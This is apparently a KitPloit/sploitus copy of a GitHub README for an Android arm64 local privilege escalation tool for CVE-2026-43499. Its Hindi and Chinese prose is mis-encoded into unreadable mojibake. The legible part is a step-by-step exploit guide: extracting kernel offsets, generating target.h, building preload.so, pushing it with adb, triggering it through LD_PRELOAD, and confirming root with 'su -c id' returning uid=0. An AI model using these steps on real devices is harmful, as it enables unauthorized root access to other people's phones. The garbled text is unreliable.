## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIANWAN1314-CVE-2026-43499-POC-ANALYSIS
# CVE-2026-43499 Android arm64 рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЕрдиреБрдХреВрд▓рди
English | ф╕нцЦЗ
* * *
рдпрд╣ **CVE-2026-43499** рдХреЗ рд▓рд┐рдП рдПрдХ Android arm64 рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЕрдиреБрдХреВрд▓рди рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИред
рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд▓рдХреНрд╖реНрдп рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ `boot.img` рдФрд░ profile рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ `target.h` рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ рд╕рдВрдмрдВрдзрд┐рдд `preload.so` рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред
> рдиреЛрдЯ: рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрдХреВрд▓рди рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЙрдбрд▓ рд╕реЗ рдмрдВрдзрд╛ рдирд╣реАрдВ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ `generate_target.py` рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ `target.h` рдЙрддреНрдкрдиреНрди рдХрд░ рдкрд╛рддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдФрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░реАрдХреНрд╖рдг рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдкрд░ред
* * *
## рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рдВрд░рдЪрдирд╛
root@kitploit:~
щб╣чЫочЫох╜Х/
тФЬтФАтФА boot.img # чЫоцаЗшо╛хдЗхРМхЫ║ф╗╢ boot щХЬхГП
тФЬтФАтФА profile_xxx.json # чЫоцаЗшо╛хдЗ profile
тФЬтФАтФА detect_offset.py # цгАц╡Л profile чФи
тФЬтФАтФА generate_target.py # чФЯцИР target.h
тФЬтФАтФА source/
тФВ тФЬтФАтФА Makefile
тФВ тФФтФАтФА src/
тФВ тФФтФАтФА target.h # шЗкхКичФЯцИР
тФФтФАтФА source/build/bin/
тФФтФАтФА preload.so # ч╝ЦшпСф║зчЙй
* * *
## рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдПрдБ
### рдореВрд▓ рдирд┐рд░реНрднрд░рддрд╛рдПрдБ
root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
### Windows рдХреЗ рд▓рд┐рдП рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг
Windows рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ:
root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2 рдореЗрдВ make рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ:
root@kitploit:~
pacman -S make coreutils
* * *
## рдлрд╝рд╛рдЗрд▓реЗрдВ рддреИрдпрд╛рд░ рдХрд░рдирд╛
рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
root@kitploit:~
boot.img
profile_xxx.json
profile рдЙрджрд╛рд╣рд░рдг:
root@kitploit:~
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
profile рдореЗрдВ рдпреЗ рджреЛ рдкрддреЗ:
root@kitploit:~
p0_phys_offset
p0_kernel_phys_load
рдкрд╣рд▓реЗ рд╕реЗ Root рдХрд┐рдП рдЧрдП, рдФрд░ рд▓рдХреНрд╖реНрдп boot.img рдХреЗ рд╕рдорд╛рди рдлрд░реНрдорд╡реЗрдпрд░ рд╡рд╛рд▓реЗ рдлреЛрди рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдХрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
root@kitploit:~
python3 detect_offset.py
Windows рдкрд░ рднреА:
root@kitploit:~
python detect_offset.py
* * *
## рдЙрдкрдпреЛрдЧ рдХреЗ рдЪрд░рдг
### 1\. рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░реЗрдВ
Linux / macOS:
root@kitploit:~
cd /path/to/project
Windows MSYS2 рдЙрджрд╛рд╣рд░рдг:
root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
* * *
### 2\. NDK рдкрде рд╕реЗрдЯ рдХрд░реЗрдВ
Linux / macOS рдЙрджрд╛рд╣рд░рдг:
root@kitploit:~
export ANDROID_NDK_HOME=/path/to/android-ndk
Windows MSYS2 рдЙрджрд╛рд╣рд░рдг:
root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
* * *
### 3\. target.h рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
root@kitploit:~
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Windows рдкрд░ рдпрджрд┐ `python3` рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
root@kitploit:~
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
рдпрджрд┐ `llvm-objdump` рдирд╣реАрдВ рдорд┐рд▓рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рдорд┐рд▓реЗ, рддреЛ рдкрде рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ:
root@kitploit:~
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:
root@kitploit:~
чФЯцИРцИРхКЯ: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
* * *
### 4\. preload.so рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ
Linux / macOS:
root@kitploit:~
make -C source clean preload
Windows MSYS2:
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64
рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрддреНрдкрдиреНрди рд╣реЛрдЧрд╛:
root@kitploit:~
source/build/bin/preload.so
* * *
### 5\. рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдкреБрд╢ рдХрд░реЗрдВ рдФрд░ рдЪрд▓рд╛рдПрдБ
root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
рд╕рддреНрдпрд╛рдкрди:
root@kitploit:~
adb shell '/data/local/tmp/su -c id'
рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдЖрдорддреМрд░ рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:
root@kitploit:~
uid=0(root) gid=0(root)
* * *
## Windows MSYS2 рдПрдХ-рдХреНрд▓рд┐рдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛
рдЖрдкрдХреЗ рдкрде рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдиреБрд╕рд╛рд░:
root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
рдЕрдВрддрд┐рдо рдлрд╝рд╛рдЗрд▓:
root@kitploit:~
source/build/bin/preload.so
* * *
## рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╕реНрдпрд╛рдПрдБ
### llvm-objdump рдирд╣реАрдВ рдорд┐рд▓ рд░рд╣рд╛
LLVM рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ, рдпрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
root@kitploit:~
--llvm-objdump "/path/to/llvm-objdump"
* * *
### make рдирд╣реАрдВ рдорд┐рд▓ рд░рд╣рд╛
Windows рдкрд░ MSYS2 рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ:
root@kitploit:~
pacman -S make coreutils
* * *
### clang рдирд╣реАрдВ рдорд┐рд▓ рд░рд╣рд╛
рдЖрдорддреМрд░ рдкрд░ NDK рдкрде рд╕рд╣реА рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
Windows MSYS2 рдЙрджрд╛рд╣рд░рдг:
root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
* * *
### target.h рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓рддрд╛
рдЖрдорддреМрд░ рдкрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡рд░реНрддрдорд╛рди `boot.img` рдпрд╛ рдХрд░реНрдиреЗрд▓ рд▓реЗрдЖрдЙрдЯ рдЕрднреА рддрдХ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЕрдиреБрдХреВрд▓рд┐рдд рдирд╣реАрдВ рд╣реБрдЖ рд╣реИред
рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЬрд╛рдБрдЪреЗрдВ:
root@kitploit:~
boot.img цШпхРжхоМцХ┤
profile цШпхРжцнгчбо
llvm-objdump цШпхРжхПпчФи
хЖЕца╕цШпхРжцЬЙ IKCONFIG / kallsyms / BTF
* * *
## рдиреЛрдЯ
* рдбрд┐рд╡рд╛рдЗрд╕, рд╕рд┐рд╕реНрдЯрдо рдпрд╛ рдХрд░реНрдиреЗрд▓ рдмрджрд▓рдиреЗ рдХреЗ рдмрд╛рдж `target.h` рдХреЛ рдкреБрдирдГ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
* `target.h` рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИ; рдЗрд╕реЗ `generate_target.py` рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
* рдХреГрдкрдпрд╛ рдХреЗрд╡рд▓ рдЙрдиреНрд╣реАрдВ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрдзрд┐рдХрд╛рд░ рд╣реИред